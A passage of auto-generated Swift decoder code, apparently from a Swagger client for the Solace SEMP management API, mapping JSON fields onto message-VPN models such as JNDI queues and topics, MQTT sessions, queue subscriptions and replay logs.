instance.messagingDefaultElidingEligibleEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["messagingDefaultElidingEligibleEnabled"])
instance.messagingJmsxUserIdEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["messagingJmsxUserIdEnabled"])
instance.messagingTextInXmlPayloadEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["messagingTextInXmlPayloadEnabled"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.transportCompressionLevel = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportCompressionLevel"])
instance.transportConnectRetryCount = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportConnectRetryCount"])
instance.transportConnectRetryPerHostCount = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportConnectRetryPerHostCount"])
instance.transportConnectTimeout = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportConnectTimeout"])
instance.transportDirectTransportEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["transportDirectTransportEnabled"])
instance.transportKeepaliveCount = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportKeepaliveCount"])
instance.transportKeepaliveEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["transportKeepaliveEnabled"])
instance.transportKeepaliveInterval = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportKeepaliveInterval"])
instance.transportMsgCallbackOnIoThreadEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["transportMsgCallbackOnIoThreadEnabled"])
instance.transportOptimizeDirectEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["transportOptimizeDirectEnabled"])
instance.transportPort = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportPort"])
instance.transportReadTimeout = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportReadTimeout"])
instance.transportReceiveBufferSize = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportReceiveBufferSize"])
instance.transportReconnectRetryCount = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportReconnectRetryCount"])
instance.transportReconnectRetryWait = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportReconnectRetryWait"])
instance.transportSendBufferSize = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["transportSendBufferSize"])
instance.transportTcpNoDelayEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["transportTcpNoDelayEnabled"])
instance.xaEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["xaEnabled"])
return instance
}
// Decoder for [MsgVpnJndiConnectionFactoryLinks]
Decoders.addDecoder(clazz: [MsgVpnJndiConnectionFactoryLinks].self) { (source: AnyObject) -> [MsgVpnJndiConnectionFactoryLinks] in
return Decoders.decode(clazz: [MsgVpnJndiConnectionFactoryLinks].self, source: source)
}
// Decoder for MsgVpnJndiConnectionFactoryLinks
Decoders.addDecoder(clazz: MsgVpnJndiConnectionFactoryLinks.self) { (source: AnyObject) -> MsgVpnJndiConnectionFactoryLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiConnectionFactoryLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnJndiConnectionFactoryResponse]
Decoders.addDecoder(clazz: [MsgVpnJndiConnectionFactoryResponse].self) { (source: AnyObject) -> [MsgVpnJndiConnectionFactoryResponse] in
return Decoders.decode(clazz: [MsgVpnJndiConnectionFactoryResponse].self, source: source)
}
// Decoder for MsgVpnJndiConnectionFactoryResponse
Decoders.addDecoder(clazz: MsgVpnJndiConnectionFactoryResponse.self) { (source: AnyObject) -> MsgVpnJndiConnectionFactoryResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiConnectionFactoryResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnJndiConnectionFactory.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnJndiConnectionFactoryLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnJndiQueue]
Decoders.addDecoder(clazz: [MsgVpnJndiQueue].self) { (source: AnyObject) -> [MsgVpnJndiQueue] in
return Decoders.decode(clazz: [MsgVpnJndiQueue].self, source: source)
}
// Decoder for MsgVpnJndiQueue
Decoders.addDecoder(clazz: MsgVpnJndiQueue.self) { (source: AnyObject) -> MsgVpnJndiQueue in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiQueue()
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.physicalName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["physicalName"])
instance.queueName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queueName"])
return instance
}
// Decoder for [MsgVpnJndiQueueLinks]
Decoders.addDecoder(clazz: [MsgVpnJndiQueueLinks].self) { (source: AnyObject) -> [MsgVpnJndiQueueLinks] in
return Decoders.decode(clazz: [MsgVpnJndiQueueLinks].self, source: source)
}
// Decoder for MsgVpnJndiQueueLinks
Decoders.addDecoder(clazz: MsgVpnJndiQueueLinks.self) { (source: AnyObject) -> MsgVpnJndiQueueLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiQueueLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnJndiQueueResponse]
Decoders.addDecoder(clazz: [MsgVpnJndiQueueResponse].self) { (source: AnyObject) -> [MsgVpnJndiQueueResponse] in
return Decoders.decode(clazz: [MsgVpnJndiQueueResponse].self, source: source)
}
// Decoder for MsgVpnJndiQueueResponse
Decoders.addDecoder(clazz: MsgVpnJndiQueueResponse.self) { (source: AnyObject) -> MsgVpnJndiQueueResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiQueueResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnJndiQueue.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnJndiQueueLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnJndiQueuesResponse]
Decoders.addDecoder(clazz: [MsgVpnJndiQueuesResponse].self) { (source: AnyObject) -> [MsgVpnJndiQueuesResponse] in
return Decoders.decode(clazz: [MsgVpnJndiQueuesResponse].self, source: source)
}
// Decoder for MsgVpnJndiQueuesResponse
Decoders.addDecoder(clazz: MsgVpnJndiQueuesResponse.self) { (source: AnyObject) -> MsgVpnJndiQueuesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiQueuesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnJndiTopic]
Decoders.addDecoder(clazz: [MsgVpnJndiTopic].self) { (source: AnyObject) -> [MsgVpnJndiTopic] in
return Decoders.decode(clazz: [MsgVpnJndiTopic].self, source: source)
}
// Decoder for MsgVpnJndiTopic
Decoders.addDecoder(clazz: MsgVpnJndiTopic.self) { (source: AnyObject) -> MsgVpnJndiTopic in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiTopic()
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.physicalName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["physicalName"])
instance.topicName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["topicName"])
return instance
}
// Decoder for [MsgVpnJndiTopicLinks]
Decoders.addDecoder(clazz: [MsgVpnJndiTopicLinks].self) { (source: AnyObject) -> [MsgVpnJndiTopicLinks] in
return Decoders.decode(clazz: [MsgVpnJndiTopicLinks].self, source: source)
}
// Decoder for MsgVpnJndiTopicLinks
Decoders.addDecoder(clazz: MsgVpnJndiTopicLinks.self) { (source: AnyObject) -> MsgVpnJndiTopicLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiTopicLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnJndiTopicResponse]
Decoders.addDecoder(clazz: [MsgVpnJndiTopicResponse].self) { (source: AnyObject) -> [MsgVpnJndiTopicResponse] in
return Decoders.decode(clazz: [MsgVpnJndiTopicResponse].self, source: source)
}
// Decoder for MsgVpnJndiTopicResponse
Decoders.addDecoder(clazz: MsgVpnJndiTopicResponse.self) { (source: AnyObject) -> MsgVpnJndiTopicResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiTopicResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnJndiTopic.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnJndiTopicLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnJndiTopicsResponse]
Decoders.addDecoder(clazz: [MsgVpnJndiTopicsResponse].self) { (source: AnyObject) -> [MsgVpnJndiTopicsResponse] in
return Decoders.decode(clazz: [MsgVpnJndiTopicsResponse].self, source: source)
}
// Decoder for MsgVpnJndiTopicsResponse
Decoders.addDecoder(clazz: MsgVpnJndiTopicsResponse.self) { (source: AnyObject) -> MsgVpnJndiTopicsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnJndiTopicsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnLinks]
Decoders.addDecoder(clazz: [MsgVpnLinks].self) { (source: AnyObject) -> [MsgVpnLinks] in
return Decoders.decode(clazz: [MsgVpnLinks].self, source: source)
}
// Decoder for MsgVpnLinks
Decoders.addDecoder(clazz: MsgVpnLinks.self) { (source: AnyObject) -> MsgVpnLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnLinks()
instance.aclProfilesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["aclProfilesUri"])
instance.authorizationGroupsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["authorizationGroupsUri"])
instance.bridgesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["bridgesUri"])
instance.clientProfilesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientProfilesUri"])
instance.clientUsernamesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["clientUsernamesUri"])
instance.jndiConnectionFactoriesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["jndiConnectionFactoriesUri"])
instance.jndiQueuesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["jndiQueuesUri"])
instance.jndiTopicsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["jndiTopicsUri"])
instance.mqttSessionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["mqttSessionsUri"])
instance.queuesUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queuesUri"])
instance.replayLogsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replayLogsUri"])
instance.replicatedTopicsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replicatedTopicsUri"])
instance.restDeliveryPointsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["restDeliveryPointsUri"])
instance.sequencedTopicsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["sequencedTopicsUri"])
instance.topicEndpointsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["topicEndpointsUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnMqttSession]
Decoders.addDecoder(clazz: [MsgVpnMqttSession].self) { (source: AnyObject) -> [MsgVpnMqttSession] in
return Decoders.decode(clazz: [MsgVpnMqttSession].self, source: source)
}
// Decoder for MsgVpnMqttSession
Decoders.addDecoder(clazz: MsgVpnMqttSession.self) { (source: AnyObject) -> MsgVpnMqttSession in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSession()
instance.enabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["enabled"])
instance.mqttSessionClientId = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["mqttSessionClientId"])
instance.mqttSessionVirtualRouter = MsgVpnMqttSession.MqttSessionVirtualRouter(rawValue: (sourceDictionary["mqttSessionVirtualRouter"] as? String) ?? "")
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.owner = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["owner"])
return instance
}
// Decoder for [MsgVpnMqttSessionLinks]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionLinks].self) { (source: AnyObject) -> [MsgVpnMqttSessionLinks] in
return Decoders.decode(clazz: [MsgVpnMqttSessionLinks].self, source: source)
}
// Decoder for MsgVpnMqttSessionLinks
Decoders.addDecoder(clazz: MsgVpnMqttSessionLinks.self) { (source: AnyObject) -> MsgVpnMqttSessionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionLinks()
instance.subscriptionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["subscriptionsUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnMqttSessionResponse]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionResponse].self) { (source: AnyObject) -> [MsgVpnMqttSessionResponse] in
return Decoders.decode(clazz: [MsgVpnMqttSessionResponse].self, source: source)
}
// Decoder for MsgVpnMqttSessionResponse
Decoders.addDecoder(clazz: MsgVpnMqttSessionResponse.self) { (source: AnyObject) -> MsgVpnMqttSessionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnMqttSession.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnMqttSessionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnMqttSessionSubscription]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionSubscription].self) { (source: AnyObject) -> [MsgVpnMqttSessionSubscription] in
return Decoders.decode(clazz: [MsgVpnMqttSessionSubscription].self, source: source)
}
// Decoder for MsgVpnMqttSessionSubscription
Decoders.addDecoder(clazz: MsgVpnMqttSessionSubscription.self) { (source: AnyObject) -> MsgVpnMqttSessionSubscription in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionSubscription()
instance.mqttSessionClientId = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["mqttSessionClientId"])
instance.mqttSessionVirtualRouter = MsgVpnMqttSessionSubscription.MqttSessionVirtualRouter(rawValue: (sourceDictionary["mqttSessionVirtualRouter"] as? String) ?? "")
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.subscriptionQos = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["subscriptionQos"])
instance.subscriptionTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["subscriptionTopic"])
return instance
}
// Decoder for [MsgVpnMqttSessionSubscriptionLinks]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionSubscriptionLinks].self) { (source: AnyObject) -> [MsgVpnMqttSessionSubscriptionLinks] in
return Decoders.decode(clazz: [MsgVpnMqttSessionSubscriptionLinks].self, source: source)
}
// Decoder for MsgVpnMqttSessionSubscriptionLinks
Decoders.addDecoder(clazz: MsgVpnMqttSessionSubscriptionLinks.self) { (source: AnyObject) -> MsgVpnMqttSessionSubscriptionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionSubscriptionLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnMqttSessionSubscriptionResponse]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionSubscriptionResponse].self) { (source: AnyObject) -> [MsgVpnMqttSessionSubscriptionResponse] in
return Decoders.decode(clazz: [MsgVpnMqttSessionSubscriptionResponse].self, source: source)
}
// Decoder for MsgVpnMqttSessionSubscriptionResponse
Decoders.addDecoder(clazz: MsgVpnMqttSessionSubscriptionResponse.self) { (source: AnyObject) -> MsgVpnMqttSessionSubscriptionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionSubscriptionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnMqttSessionSubscription.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnMqttSessionSubscriptionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnMqttSessionSubscriptionsResponse]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionSubscriptionsResponse].self) { (source: AnyObject) -> [MsgVpnMqttSessionSubscriptionsResponse] in
return Decoders.decode(clazz: [MsgVpnMqttSessionSubscriptionsResponse].self, source: source)
}
// Decoder for MsgVpnMqttSessionSubscriptionsResponse
Decoders.addDecoder(clazz: MsgVpnMqttSessionSubscriptionsResponse.self) { (source: AnyObject) -> MsgVpnMqttSessionSubscriptionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionSubscriptionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnMqttSessionsResponse]
Decoders.addDecoder(clazz: [MsgVpnMqttSessionsResponse].self) { (source: AnyObject) -> [MsgVpnMqttSessionsResponse] in
return Decoders.decode(clazz: [MsgVpnMqttSessionsResponse].self, source: source)
}
// Decoder for MsgVpnMqttSessionsResponse
Decoders.addDecoder(clazz: MsgVpnMqttSessionsResponse.self) { (source: AnyObject) -> MsgVpnMqttSessionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnMqttSessionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnQueue]
Decoders.addDecoder(clazz: [MsgVpnQueue].self) { (source: AnyObject) -> [MsgVpnQueue] in
return Decoders.decode(clazz: [MsgVpnQueue].self, source: source)
}
// Decoder for MsgVpnQueue
Decoders.addDecoder(clazz: MsgVpnQueue.self) { (source: AnyObject) -> MsgVpnQueue in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueue()
instance.accessType = MsgVpnQueue.AccessType(rawValue: (sourceDictionary["accessType"] as? String) ?? "")
instance.consumerAckPropagationEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["consumerAckPropagationEnabled"])
instance.deadMsgQueue = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["deadMsgQueue"])
instance.egressEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["egressEnabled"])
instance.eventBindCountThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventBindCountThreshold"])
instance.eventMsgSpoolUsageThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventMsgSpoolUsageThreshold"])
instance.eventRejectLowPriorityMsgLimitThreshold = Decoders.decodeOptional(clazz: EventThreshold.self, source: sourceDictionary["eventRejectLowPriorityMsgLimitThreshold"])
instance.ingressEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["ingressEnabled"])
instance.maxBindCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxBindCount"])
instance.maxDeliveredUnackedMsgsPerFlow = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxDeliveredUnackedMsgsPerFlow"])
instance.maxMsgSize = Decoders.decodeOptional(clazz: Int32.self, source: sourceDictionary["maxMsgSize"])
instance.maxMsgSpoolUsage = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxMsgSpoolUsage"])
instance.maxRedeliveryCount = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxRedeliveryCount"])
instance.maxTtl = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxTtl"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.owner = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["owner"])
instance.permission = MsgVpnQueue.Permission(rawValue: (sourceDictionary["permission"] as? String) ?? "")
instance.queueName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queueName"])
instance.rejectLowPriorityMsgEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["rejectLowPriorityMsgEnabled"])
instance.rejectLowPriorityMsgLimit = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["rejectLowPriorityMsgLimit"])
instance.rejectMsgToSenderOnDiscardBehavior = MsgVpnQueue.RejectMsgToSenderOnDiscardBehavior(rawValue: (sourceDictionary["rejectMsgToSenderOnDiscardBehavior"] as? String) ?? "")
instance.respectMsgPriorityEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["respectMsgPriorityEnabled"])
instance.respectTtlEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["respectTtlEnabled"])
return instance
}
// Decoder for [MsgVpnQueueLinks]
Decoders.addDecoder(clazz: [MsgVpnQueueLinks].self) { (source: AnyObject) -> [MsgVpnQueueLinks] in
return Decoders.decode(clazz: [MsgVpnQueueLinks].self, source: source)
}
// Decoder for MsgVpnQueueLinks
Decoders.addDecoder(clazz: MsgVpnQueueLinks.self) { (source: AnyObject) -> MsgVpnQueueLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueueLinks()
instance.subscriptionsUri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["subscriptionsUri"])
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnQueueResponse]
Decoders.addDecoder(clazz: [MsgVpnQueueResponse].self) { (source: AnyObject) -> [MsgVpnQueueResponse] in
return Decoders.decode(clazz: [MsgVpnQueueResponse].self, source: source)
}
// Decoder for MsgVpnQueueResponse
Decoders.addDecoder(clazz: MsgVpnQueueResponse.self) { (source: AnyObject) -> MsgVpnQueueResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueueResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnQueue.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnQueueLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnQueueSubscription]
Decoders.addDecoder(clazz: [MsgVpnQueueSubscription].self) { (source: AnyObject) -> [MsgVpnQueueSubscription] in
return Decoders.decode(clazz: [MsgVpnQueueSubscription].self, source: source)
}
// Decoder for MsgVpnQueueSubscription
Decoders.addDecoder(clazz: MsgVpnQueueSubscription.self) { (source: AnyObject) -> MsgVpnQueueSubscription in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueueSubscription()
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.queueName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["queueName"])
instance.subscriptionTopic = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["subscriptionTopic"])
return instance
}
// Decoder for [MsgVpnQueueSubscriptionLinks]
Decoders.addDecoder(clazz: [MsgVpnQueueSubscriptionLinks].self) { (source: AnyObject) -> [MsgVpnQueueSubscriptionLinks] in
return Decoders.decode(clazz: [MsgVpnQueueSubscriptionLinks].self, source: source)
}
// Decoder for MsgVpnQueueSubscriptionLinks
Decoders.addDecoder(clazz: MsgVpnQueueSubscriptionLinks.self) { (source: AnyObject) -> MsgVpnQueueSubscriptionLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueueSubscriptionLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnQueueSubscriptionResponse]
Decoders.addDecoder(clazz: [MsgVpnQueueSubscriptionResponse].self) { (source: AnyObject) -> [MsgVpnQueueSubscriptionResponse] in
return Decoders.decode(clazz: [MsgVpnQueueSubscriptionResponse].self, source: source)
}
// Decoder for MsgVpnQueueSubscriptionResponse
Decoders.addDecoder(clazz: MsgVpnQueueSubscriptionResponse.self) { (source: AnyObject) -> MsgVpnQueueSubscriptionResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueueSubscriptionResponse()
instance.data = Decoders.decodeOptional(clazz: MsgVpnQueueSubscription.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: MsgVpnQueueSubscriptionLinks.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnQueueSubscriptionsResponse]
Decoders.addDecoder(clazz: [MsgVpnQueueSubscriptionsResponse].self) { (source: AnyObject) -> [MsgVpnQueueSubscriptionsResponse] in
return Decoders.decode(clazz: [MsgVpnQueueSubscriptionsResponse].self, source: source)
}
// Decoder for MsgVpnQueueSubscriptionsResponse
Decoders.addDecoder(clazz: MsgVpnQueueSubscriptionsResponse.self) { (source: AnyObject) -> MsgVpnQueueSubscriptionsResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueueSubscriptionsResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnQueuesResponse]
Decoders.addDecoder(clazz: [MsgVpnQueuesResponse].self) { (source: AnyObject) -> [MsgVpnQueuesResponse] in
return Decoders.decode(clazz: [MsgVpnQueuesResponse].self, source: source)
}
// Decoder for MsgVpnQueuesResponse
Decoders.addDecoder(clazz: MsgVpnQueuesResponse.self) { (source: AnyObject) -> MsgVpnQueuesResponse in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnQueuesResponse()
instance.data = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["data"])
instance.links = Decoders.decodeOptional(clazz: Array.self, source: sourceDictionary["links"])
instance.meta = Decoders.decodeOptional(clazz: SempMeta.self, source: sourceDictionary["meta"])
return instance
}
// Decoder for [MsgVpnReplayLog]
Decoders.addDecoder(clazz: [MsgVpnReplayLog].self) { (source: AnyObject) -> [MsgVpnReplayLog] in
return Decoders.decode(clazz: [MsgVpnReplayLog].self, source: source)
}
// Decoder for MsgVpnReplayLog
Decoders.addDecoder(clazz: MsgVpnReplayLog.self) { (source: AnyObject) -> MsgVpnReplayLog in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplayLog()
instance.egressEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["egressEnabled"])
instance.ingressEnabled = Decoders.decodeOptional(clazz: Bool.self, source: sourceDictionary["ingressEnabled"])
instance.maxSpoolUsage = Decoders.decodeOptional(clazz: Int64.self, source: sourceDictionary["maxSpoolUsage"])
instance.msgVpnName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["msgVpnName"])
instance.replayLogName = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["replayLogName"])
return instance
}
// Decoder for [MsgVpnReplayLogLinks]
Decoders.addDecoder(clazz: [MsgVpnReplayLogLinks].self) { (source: AnyObject) -> [MsgVpnReplayLogLinks] in
return Decoders.decode(clazz: [MsgVpnReplayLogLinks].self, source: source)
}
// Decoder for MsgVpnReplayLogLinks
Decoders.addDecoder(clazz: MsgVpnReplayLogLinks.self) { (source: AnyObject) -> MsgVpnReplayLogLinks in
let sourceDictionary = source as! [NSObject:AnyObject]
let instance = MsgVpnReplayLogLinks()
instance.uri = Decoders.decodeOptional(clazz: String.self, source: sourceDictionary["uri"])
return instance
}
// Decoder for [MsgVpnReplayLogResponse]
Decoders.addDecoder(clazz: [MsgVpnReplayLogResponse].self) { (source: AnyObject) -> [MsgVpnReplayLogResponse] in
return Decoders.decode(clazz: [MsgVpnReplayLogResponse].self, source: source)
}
// Decoder for MsgVpnReplayLogResponse
